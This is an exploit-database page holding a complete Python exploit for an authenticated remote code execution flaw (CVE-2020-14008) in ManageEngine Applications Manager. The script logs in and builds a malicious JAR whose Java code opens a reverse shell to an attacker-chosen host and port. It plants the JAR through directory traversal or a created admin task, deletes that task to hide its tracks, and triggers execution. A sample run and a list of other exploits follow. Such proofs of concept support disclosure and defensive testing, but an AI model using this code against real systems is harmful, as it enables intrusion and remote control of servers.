Menu

Search for hundreds of thousands of exploits

"ManageEngine Applications Manager 14700 - Remote Code Execution (Authenticated)"

Author

Exploit author

Hodorsec

Platform

Exploit platform

java

Release date

Exploit published date

2020-09-07

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
#!/usr/bin/python3

# Exploit Title: ManageEngine Applications Manager 14700 - Remote Code Execution (Authenticated)
# Google Dork: None
# Date: 2020-09-04
# Exploit Author: Hodorsec
# Vendor Homepage: https://manageengine.co.uk
# Vendor Vulnerability Description: https://manageengine.co.uk/products/applications_manager/security-updates/security-updates-cve-2020-14008.html
# Software Link: http://archives.manageengine.com/applications_manager/14720/
# Version: Until version 14720
# Tested on: version 12900 and version 14700
# CVE : CVE-2020-14008

# Summary:
# POC for proving ability to execute malicious Java code in uploaded JAR file as an Oracle Weblogic library to connect to Weblogic servers
# Exploits the newInstance() and loadClass() methods being used by the "WeblogicReference", when attempting a Credential Test for a new Monitor
# When invoking the Credential Test, a call is being made to lookup a possibly existing "weblogic.jar" JAR file, using the "weblogic.jndi.Environment" class and method

# Vulnerable code:
# Lines 129 - 207 in com/adventnet/appmanager/server/wlogic/statuspoll/WeblogicReference.java
# 129 /*     */   public static MBeanServer lookupMBeanServer(String hostname, String portString, String username, String password, int version) throws Exception {
# 130 /* 130 */     ClassLoader current = Thread.currentThread().getContextClassLoader();
# 131 /*     */     try {
# 132 /* 132 */       boolean setcredentials = false;
# 133 /* 133 */       String url = "t3://" + hostname + ":" + portString;
# 134 /* 134 */       JarLoader jarLoader = null;
# 135 /*     */       
# ....<SNIP>....
# 143 /*     */       }
# 144 /* 144 */       else if (version == 8)
# 145 /*     */       {
# 146 /* 146 */         if (new File("./../working/classes/weblogic/version8/weblogic.jar").exists())
# 147 /*     */         {
# 148 /*     */ 
# 149 /* 149 */           jarLoader = new JarLoader("." + File.separator + ".." + File.separator + "working" + File.separator + "classes" + File.separator + "weblogic" + File.separator + "version8" + File.separator + "weblogic.jar");
# 150 /*     */           
# ....<SNIP>....
# 170 /* 170 */       Thread.currentThread().setContextClassLoader(jarLoader);
# 171 /* 171 */       Class cls = jarLoader.loadClass("weblogic.jndi.Environment");
# 172 /* 172 */       Object env = cls.newInstance();

# Example call for MAM version 12900:
# $ python3 poc_mam_weblogic_upload_and_exec_jar.py https://192.168.252.12:8443 admin admin weblogic.jar 
# [*] Visiting page to retrieve initial cookies...
# [*] Retrieving admin cookie...
# [*] Getting base directory of ManageEngine...
# [*] Found base directory: C:\Program Files (x86)\ManageEngine\AppManager12
# [*] Creating JAR file...
# Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
# Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
# added manifest
# adding: weblogic/jndi/Environment.class(in = 1844) (out= 1079)(deflated 41%)
# [*] Uploading JAR file...
# [*] Attempting to upload JAR directly to targeted Weblogic folder...
# [*] Copied successfully via Directory Traversal, jumping directly to call vulnerable function!
# [*] Running the Weblogic credentialtest which triggers the code in the JAR...
# [*] Check your shell...

# Function flow:
# 1. Get initial cookie
# 2. Get valid session cookie by logging in
# 3. Get base directory of installation
# 4. Generate a malicious JAR file
# 5. Attempt to directly upload JAR, if success, jump to 7
# 6. Create task with random ID to copy JAR file to expected Weblogic location
# 7. Execute task
# 8. Delete task for cleanup
# 9. Run the vulnerable credentialTest, using the malicious JAR

import requests
import urllib3
import shutil
import subprocess
import os
import sys
import random
import re
from lxml import html

# Optionally, use a proxy
# proxy = "http://<user>:<pass>@<proxy>:<port>"
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout
timeout = 10

# Handle CTRL-C
def keyboard_interrupt():
    """Handles keyboardinterrupt exceptions"""
    print("\n\n[*] User requested an interrupt, exiting...")
    exit(0)

# Custom headers
def http_headers():
    headers = {
        'User-Agent': 'Mozilla',
    }
    return headers

def get_initial_cookie(url,headers):
    print("[*] Visiting page to retrieve initial cookies...")
    target = url + "/index.do"
    r = requests.get(target,headers=headers,timeout=timeout,verify=False)
    return r.cookies

def get_valid_cookie(url,headers,initial_cookies,usern,passw):
    print("[*] Retrieving admin cookie...")
    appl_cookie = "JSESSIONID_APM_9090"
    post_data = {'clienttype':'html',
                'webstart':'',
                'j_username':usern,
                'ScreenWidth':'1280',
                'ScreenHeight':'709',
                'username':usern,
                'j_password':passw,
                'submit':'Login'}
    target = url + "/j_security_check"
    r = requests.post(target,data=post_data,headers=headers,cookies=initial_cookies,timeout=timeout,verify=False)
    res = r.text
    if "Server responded in " in res:
        return r.cookies
    else:
        print("[!] No valid response from used session, exiting!\n")
        exit(-1)

def get_base_dir(url,headers,valid_cookie):
    print("[*] Getting base directory of ManageEngine...")
    target = url + "/common/serverinfo.do"
    params = {'service':'AppManager',
            'reqForAdminLayout':'true'}
    r = requests.get(target,params=params,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False)
    tree = html.fromstring(r.content)
    pathname = tree.xpath('//table[@class="lrbtborder"]/tr[6]/td[2]/@title')
    base_dir = pathname[0]
    print("[*] Found base directory: " + base_dir)
    return base_dir

def create_jar(command,jarname,revhost,revport):
    print("[*] Creating JAR file...")
    # Variables
    classname = "Environment"
    pkgname = "weblogic.jndi"
    fullname = pkgname + "." + classname
    manifest = "MANIFEST.MF"

    # Directory variables
    curdir = os.getcwd()
    metainf_dir = "META-INF"
    maindir = "weblogic"
    subdir = maindir + "/jndi"
    builddir = curdir + "/" + subdir

    # Check if directory exist, else create directory
    try:
        if os.path.isdir(builddir):
            pass
        else:
            os.makedirs(builddir)
    except OSError:
        print("[!] Error creating local directory \"" + builddir + "\", check permissions...")
        exit(-1)

    # Creating the text file using given parameters
    javafile = '''package ''' + pkgname + ''';
    
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.Socket;
    import java.util.concurrent.TimeUnit;
    
    public class ''' + classname + ''' {
      
      // This method is being called by lookupMBeanServer() in com/adventnet/appmanager/server/wlogic/statuspoll/WeblogicReference.java
      // Uses the jarLoader.loadClass() method to load and initiate a new instance via newInstance()
      public void setProviderUrl(String string) throws Exception {
        System.out.println("Hello from setProviderUrl()");
        connect();
      }
    
      // Normal main() entry
      public static void main(String args[]) throws Exception {
        System.out.println("Hello from main()");
        // Added delay to notice being called from main()
        TimeUnit.SECONDS.sleep(10);
        connect();
      }
    
      // Where the magic happens
      public static void connect() throws Exception {
        String host = "''' + revhost + '''";
        int port = ''' + str(revport) + ''';
        String[] cmd = {"''' + command + '''"};
    
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
          while(pi.available()>0)
            so.write(pi.read());
          while(pe.available()>0)
            so.write(pe.read());
          while(si.available()>0)
            po.write(si.read());
          so.flush();
          po.flush();
          
          try {
            p.exitValue();
            break;
          }
          catch (Exception e){
          }
    
        };
        p.destroy();
        s.close();
      }
    
    }'''
    
    # Output file to desired directory
    os.chdir(builddir)
    print(javafile,file=open(classname + ".java","w"))

    # Go to previous directory to create JAR file
    os.chdir(curdir)

    # Create the compiled .class file
    cmdCompile = "javac --release 7 " + subdir + "/*.java"
    process = subprocess.call(cmdCompile,shell=True)
    
    # Creating Manifest file
    try:
        if os.path.isdir(metainf_dir):
            pass
        else:
            os.makedirs(metainf_dir)
    except OSError:
        print("[!] Error creating local directory \"" + metainf_dir + "\", check permissions...")
        exit(-1)
    print("Main-Class: " + fullname,file=open(metainf_dir + "/" + manifest,"w"))
    
    # Create JAR file
    cmdJar = "jar cmvf " + metainf_dir + "/" + manifest + " " + jarname + " " + subdir + "/*.class"
    process = subprocess.call(cmdJar,shell=True)

    # Cleanup directories
    try:
        shutil.rmtree(metainf_dir)
        shutil.rmtree(maindir)
    except:
        print("[!] Error while cleaning up directories.")
    return True

def upload_jar(url,headers,valid_cookie,jarname,rel_path):
    print("[*] Uploading JAR file...")
    target = url + "/Upload.do"
    path_normal = './'
    path_trav = rel_path
    jar = {'theFile':(jarname,open(jarname, 'rb'))}
    print("[*] Attempting to upload JAR directly to targeted Weblogic folder...")
    post_data = {'uploadDir':path_trav}
    r_upload = requests.post(target, data=post_data, headers=headers, files=jar, cookies=valid_cookie, timeout=timeout,verify=False)
    res = r_upload.text
    if "successfully uploaded" not in res:
        print("[!] Failed to upload JAR directly, continue to add and execute job to move JAR...")
        post_data = {'uploadDir':path_normal}
        jar = {'theFile':(jarname,open(jarname, 'rb'))}
        r_upload = requests.post(target, data=post_data, headers=headers, files=jar, cookies=valid_cookie, timeout=timeout,verify=False)
        return "normal_path"
    else:
        print("[*] Copied successfully via Directory Traversal, jumping directly to call vulnerable function!")
        return "trav_path"

def create_task(url,headers,valid_cookie,action_name,rel_path,work_dir):
    print("[*] Creating a task to move the JAR file to relative path: " + rel_path + "...")
    valid_resp = "Execute Program succesfully created."
    target = url + "/adminAction.do"
    post_data = {'actions':'/adminAction.do?method=showExecProgAction&haid=null',
                'method':'createExecProgAction',
                'id':'0',
                'displayname':action_name,
                'serversite':'local',
                'choosehost':'-2',
                'prompt':'$',
                'command':'move weblogic.jar ' + rel_path,
                'execProgExecDir':work_dir,
                'abortafter':'10',
                'cancel':'false'}
    r = requests.post(target,data=post_data,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False)
    res = r.text
    found_id = ""
    if action_name in res:
        tree = html.fromstring(r.content)
        actionurls = tree.xpath('//table[@id="executeProgramActionTable"]/tr[@class="actionsheader"]/td[2]/a/@onclick')
        actionnames = tree.xpath('//table[@id="executeProgramActionTable"]/tr[@class="actionsheader"]/td[2]/a/text()')

        i = 0
        for name in actionnames:
            for url in actionurls:
                if action_name in name:
                    found_id = re.search(".*actionid=(.+?)','", actionurls[i]).group(1)   
                    print("[*] Found actionname: " + action_name + " with found actionid " + found_id)
                    break
            i+=1
        return found_id
    else:
        print("[!] Actionname not found. Task probably wasn't created, please check. Exiting.")
        exit(-1)

def exec_task(url,headers,valid_cookie,found_id):
    print("[*] Executing created task with id: " + found_id + " to copy JAR...")
    valid_resp = "has been successfully executed"
    target = url + "/common/executeScript.do"
    params = {'method':'testAction',
            'actionID':found_id,
            'haid':'null'}
    r = requests.get(target,params=params,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False)
    res = r.text
    if valid_resp in res:
        print("[*] Task " + found_id + " has been executed successfully")
    else:
        print("[!] Task not executed. Check requests, exiting...")
        exit(-1)
    return

def del_task(url,headers,valid_cookie,found_id):
    print("[*] Deleting created task as JAR has been copied...")
    target = url + "/adminAction.do"
    params = {'method':'deleteProgExecAction'}
    post_data = {'haid':'null',
                'headercheckbox':'on',
                'progcheckbox':found_id}
    r = requests.post(target,params=params,data=post_data,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False)

def run_credtest(url,headers,valid_cookie):
    print("[*] Running the Weblogic credentialtest which triggers the code in the JAR...")
    target = url + "/testCredential.do"
    post_data = {'method':'testCredentialForConfMonitors',
                'serializedData':'url=/jsp/newConfType.jsp',
                'searchOptionValue':'',
                'query':'',
                'addtoha':'null',
                'resourceid':'',
                'montype':'WEBLOGIC:7001',
                'isAgentEnabled':'NO',
                'resourcename':'null',
                'isAgentAssociated':'false',
                'hideFieldsForIT360':'null',
                'childNodesForWDM':'[]',
                'csrfParam':'',
                'type':'WEBLOGIC:7001',
                'displayname':'test',
                'host':'localhost',
                'netmask':'255.255.255.0',
                'resolveDNS':'False',
                'port':'7001',
                'CredentialDetails':'nocm',
                'cmValue':'-1',
                'version':'WLS_8_1',
                'sslenabled':'False',
                'username':'test',
                'password':'test',
                'pollinterval':'5',
                'groupname':''}

    print("[*] Check your shell...")
    requests.post(target,data=post_data,headers=headers,cookies=valid_cookie,verify=False)
    return

# Main
def main(argv):
    if len(sys.argv) == 6:
        url = sys.argv[1]
        usern = sys.argv[2]
        passw = sys.argv[3]
        revhost = sys.argv[4]
        revport = sys.argv[5]
    else:
        print("[*] Usage: " + sys.argv[0] + " <url> <username> <password> <reverse_shell_host> <reverse_shell_port>")
        print("[*] Example: " + sys.argv[0] + " https://192.168.252.12:8443 admin admin 192.168.252.14 6666\n")
        exit(0)

    # Do stuff
    try:
        # Set HTTP headers
        headers = http_headers()
        
        # Relative path to copy the malicious JAR file
        rel_path = "classes/weblogic/version8/"
        # Generate a random ID to use for the task name and task tracking
        random_id = str(random.randrange(0000,9999))
        # Action_name used for displaying actions in overview
        action_name = "move_weblogic_jar" + random_id
        # Working dir to append to base dir
        base_append = "\\working\\"
        # Name for JAR file to use  
        jarname = "weblogic.jar"
        # Command shell to use
        cmd = "cmd.exe"

        # Execute functions
        initial_cookies = get_initial_cookie(url,headers)
        valid_cookie = get_valid_cookie(url,headers,initial_cookies,usern,passw)
        work_dir = get_base_dir(url,headers,valid_cookie) + base_append
        create_jar(cmd,jarname,revhost,revport)
        status_jar = upload_jar(url,headers,valid_cookie,jarname,rel_path)

        # Check if JAR can be uploaded via Directory Traversal
        # If so, no need to add and exec actions; just run the credentialtest directly
        if status_jar == "trav_path":
            run_credtest(url,headers,valid_cookie)
        # Cannot be uploaded via Directory Traversal, add and exec actions to move JAR. Lastly, run the vulnerable credentialtest
        elif status_jar == "normal_path":
            found_id = create_task(url,headers,valid_cookie,action_name,rel_path,work_dir)
            exec_task(url,headers,valid_cookie,found_id)
            del_task(url,headers,valid_cookie,found_id)
            run_credtest(url,headers,valid_cookie)

    except requests.exceptions.Timeout:
        print("[!] Timeout error\n")
        exit(-1)
    except requests.exceptions.TooManyRedirects:
        print("[!] Too many redirects\n")
        exit(-1)
    except requests.exceptions.ConnectionError:
        print("[!] Not able to connect to URL\n")
        exit(-1)
    except requests.exceptions.RequestException as e:
        print("[!] " + e)
        exit(-1)
    except requests.exceptions.HTTPError as e:
        print("[!] Failed with error code - " + e.code + "\n")
        exit(-1)
    except KeyboardInterrupt:
        keyboard_interrupt()

# If we were called as a program, go execute the main function.
if __name__ == "__main__":
    main(sys.argv[1:])
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.